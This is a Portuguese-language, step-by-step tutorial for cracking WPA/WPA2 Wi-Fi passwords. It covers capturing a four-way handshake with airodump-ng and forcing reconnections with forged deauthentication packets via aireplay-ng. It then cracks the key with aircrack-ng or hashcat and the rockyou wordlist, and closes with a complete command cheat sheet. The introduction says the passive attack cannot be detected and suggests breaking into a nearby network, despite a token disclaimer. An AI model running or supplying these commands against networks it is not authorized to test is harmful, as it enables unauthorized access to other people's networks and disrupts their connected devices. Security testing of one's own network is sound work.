
Quebrar roteadores Wi-Fi WPA/WPA2 com Airodump-ng e Aircrack-ng/Hashcat
Crackeie roteadores Wi-Fi WPA/WPA2 com Airodump-ng e Aircrack-ng/Hashcat.
Este é um breve tutorial prático que ilustra como crackear redes Wi-Fi que são protegidas usando senhas fracas. Não é exaustivo, mas deve ser informação suficiente para você testar a segurança da sua própria rede ou invadir uma próxima. O ataque descrito abaixo é inteiramente passivo (apenas escuta, nada é transmitido do seu computador) e é impossível de detectar, desde que você não use a senha que crackeou. Um ataque opcional de desautenticação ativo pode ser usado para acelerar o processo de reconhecimento e é descrito no final deste documento.
Se você está familiarizado com este processo, pode pular as descrições e ir diretamente para uma lista dos comandos usados no final. Para uma variedade de sugestões e métodos alternativos, veja o apêndice. O neal1991 e o tiiime também forneceram gentilmente traduções para este documento e o apêndice em chinês, se você preferir essas versões.
AVISO: Este software/tutorial é apenas para fins educacionais. Não deve ser usado para atividades ilegais. O autor não é responsável pelo seu uso. Não seja um babaca.
Este tutorial assume que você:
sudo apt-get install aircrack-ngComece listando as interfaces wireless que suportam modo monitor com:
airmon-ng
Se você não vir uma interface listada, sua placa wireless não suporta modo monitor 😞
Vamos supor que o nome da sua interface wireless seja wlan0, mas certifique-se de usar o nome correto se for diferente. Em seguida, colocaremos a interface em modo monitor:
airmon-ng start wlan0
Execute iwconfig. Agora você deve ver uma nova interface de modo monitor listada (provavelmente mon0 ou wlan0mon).
Comece a escutar os Beacon frames 802.11 transmitidos por roteadores wireless próximos usando sua interface de monitor:
airodump-ng mon0
Você deve ver uma saída semelhante à abaixo.
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests
14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8
14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0>
14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro
9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme
00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome
06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2
78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2
9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT
BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root
EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca
Para os propósitos desta demonstração, escolheremos crackear a senha da minha rede, "hackme". Lembre-se do endereço MAC BSSID e do número do canal (CH) conforme exibido pelo airodump-ng, pois precisaremos de ambos para o próximo passo.
O WPA/WPA2 usa um handshake de 4 vias para autenticar dispositivos na rede. Você não precisa saber nada sobre o que isso significa, mas precisa capturar um desses handshakes para crackear a senha da rede. Esses handshakes ocorrem sempre que um dispositivo se conecta à rede, por exemplo, quando seu vizinho volta do trabalho. Capturamos esse handshake direcionando o airmon-ng para monitorar o tráfego na rede alvo usando o canal e os valores do bssid descobertos no comando anterior.
# substitua -c e --bssid pelos valores da sua rede alvo
# -w especifica o diretório onde salvaremos a captura de pacotes
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS
Agora esperamos... Depois de capturar um handshake, você deve ver algo como [ WPA handshake: bc:d3:c9:ef:d2:67 no canto superior direito da tela, logo à direita da hora atual.
Se você estiver impaciente e se sentir confortável em usar um ataque ativo, pode forçar dispositivos conectados à rede alvo a se reconectarem, enviando pacotes de desautenticação maliciosos para eles. Isso geralmente resulta na captura de um handshake de 4 vias. Veja a seção de ataque de desautenticação abaixo para mais informações.
Depois de capturar um handshake, pressione ctrl-c para sair do airodump-ng. Você deve ver um arquivo .cap no diretório onde disse ao airodump-ng para salvar a captura (provavelmente chamado -01.cap). Usaremos este arquivo de captura para crackear a senha da rede. Gosto de renomear este arquivo para refletir o nome da rede que estamos tentando crackear:
mv ./-01.cap hackme.cap
O passo final é crackear a senha usando o handshake capturado. Se você tiver acesso a uma GPU, recomendo usar o hashcat para cracking de senhas. Criei uma ferramenta simples que torna o hashcat super fácil de usar chamada naive-hashcat. Se você não tem acesso a uma GPU, existem vários serviços online de cracking por GPU que você pode usar, como GPUHASH.me ou OnlineHashCrack. Você também pode tentar o cracking por CPU com o Aircrack-ng.
Note que ambos os métodos de ataque abaixo assumem uma senha gerada pelo usuário relativamente fraca. A maioria dos roteadores WPA/WPA2 vem com senhas aleatórias fortes de 12 caracteres que muitos usuários (corretamente) deixam inalteradas. Se você está tentando crackear uma dessas senhas, recomendo usar os arquivos de dicionário Probable-Wordlists WPA-length.
naive-hashcat (recomendado)Antes de podermos crackear a senha usando naive-hashcat, precisamos converter nosso arquivo .cap para o formato de arquivo hashcat equivalente .hccapx. Você pode fazer isso facilmente enviando o arquivo .cap para https://hashcat.net/cap2hccapx/ ou usando a ferramenta cap2hccapx diretamente.
cap2hccapx.bin hackme.cap hackme.hccapx
Em seguida, baixe e execute o naive-hashcat:
# download
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat
# baixe o arquivo de dicionário rockyou de 134MB
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# crack ! baby ! crack !
# 2500 é o modo de hash do hashcat para WPA/WPA2
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
O Naive-hashcat usa vários ataques de dicionário, regra, combinação e máscara (força bruta inteligente) e pode levar dias ou até meses para ser executado contra senhas de força média. A senha crackeada será salva em hackme.pot, então verifique este arquivo periodicamente. Depois de crackear a senha, você deve ver algo assim como o conteúdo do seu POT_FILE:
e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet
Onde os dois últimos campos separados por : são o nome da rede e a senha, respectivamente.
Se você quiser usar hashcat sem naive-hashcat, veja esta página para mais informações.
O Aircrack-ng pode ser usado para ataques de dicionário muito básicos executados na sua CPU. Antes de executar o ataque, você precisa de uma wordlist. Recomendo usar o infame arquivo de dicionário rockyou:
# baixe o arquivo de dicionário rockyou de 134MB
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
Note que se a senha da rede não estiver no arquivo de palavras, você não vai crackeá-la.
# -a2 especifica WPA2, -b é o BSSID, -w é o arquivo de palavras
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap
Se a senha for crackeada, você verá uma mensagem KEY FOUND! no terminal seguida pela versão em texto simples da senha da rede.
Aircrack-ng 1.2 beta3
[00:01:49] 111040 keys tested (1017.96 k/s)
KEY FOUND! [ hacktheplanet ]
Master Key : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89
59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E
Transient Key : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71
2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73
6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78
8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21
EAPOL HMAC : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4
Um ataque de desautenticação envia pacotes de desautenticação forjados da sua máquina para um cliente conectado à rede que você está tentando crackear. Esses pacotes incluem endereços de "remetente" falsos que fazem parecer ao cliente como se fossem enviados pelo próprio ponto de acesso. Ao receber tais pacotes, a maioria dos clientes se desconecta da rede e imediatamente se reconecta, fornecendo a você um handshake de 4 vias se você estiver ouvindo com airodump-ng.
Use airodump-ng para monitorar um ponto de acesso específico (usando -c channel --bssid MAC) até ver um cliente (STATION) conectado. Um cliente conectado parece algo assim, onde 64:BC:0C:48:97:F7 é o MAC do cliente.
CH 6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -19 75 1043 144 10 6 54e WPA2 CCMP PSK ASUS
BSSID STATION PWR Rate Lost Frames Probe
9C:5C:8E:C9:AB:C0 64:BC:0C:48:97:F7 -37 1e- 1e 4 6479 ASUS
Agora, deixe o airodump-ng rodando e abra um novo terminal. Usaremos o comando aireplay-ng para enviar pacotes de desautenticação falsos ao nosso cliente vítima, forçando-o a se reconectar à rede e, com sorte, capturar um handshake no processo.
# -0 2 especifica que queremos enviar 2 pacotes de desautenticação. Aumente este número
# se necessário, com o risco de interromper visivelmente a atividade de rede do cliente
# -a é o MAC do ponto de acesso
# -c é o MAC do cliente
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
Você pode opcionalmente transmitir pacotes de desautenticação para todos os clientes conectados com:
# nem todos os clientes respeitam desautenticações broadcast
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 mon0
Depois de enviar os pacotes de desautenticação, volte ao seu processo airodump-ng e, com sorte, você deve ver agora algo assim no canto superior direito: [ WPA handshake: 9C:5C:8E:C9:AB:C0. Agora que você capturou um handshake, deve estar pronto para crackear a senha da rede.
Abaixo está uma lista de todos os comandos necessários para crackear uma rede WPA/WPA2, em ordem, com explicação mínima.
# coloque seu dispositivo de rede em modo monitor
airmon-ng start wlan0
# escute todos os beacons próximos para obter o BSSID e canal do alvo
airodump-ng mon0
# comece a escutar o handshake
airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0
# opcionalmente, desautentique um cliente conectado para forçar um handshake
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
########## crackear senha com aircrack-ng... ##########
# baixe o arquivo de dicionário rockyou.txt de 134MB, se necessário
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# crack com aircrack-ng
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap
########## ou crackear senha com naive-hashcat ##########
# converta cap para hccapx
cap2hccapx.bin capture/-01.cap capture/-01.hccapx
# crack com naive-hashcat
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
A resposta a este tutorial foi tão grande que adicionei sugestões e material adicional de membros da comunidade como um apêndice. Confira para aprender como:
wlandump-ngcrunch para gerar wordlists de 100+GB em tempo realmacchangerUma versão em chinês do apêndice também está disponível.
Grande parte das informações apresentadas aqui foi obtida do ótimo tutorial de Lewis Encarnacion. Agradecimentos também aos excelentes autores e mantenedores que trabalham no Aircrack-ng e Hashcat.
Agradecimentos imensos a neal1991 e tiiime por traduzirem este tutorial para o chinês. Agradecimentos adicionais a yizhiheng, hiteshnayak305, enilfodne, DrinkMoreCodeMore, hivie7510, cprogrammer1994, 0XE4, hartzell, zeeshanu, flennic, bhusang, tversteeg, gpetrousov, crowchirp e Shark0der que também forneceram sugestões e correções de erros de digitação no Reddit e GitHub. Se você está interessado em ouvir algumas alternativas propostas ao WPA2, confira algumas das ótimas discussões neste post do Hacker News.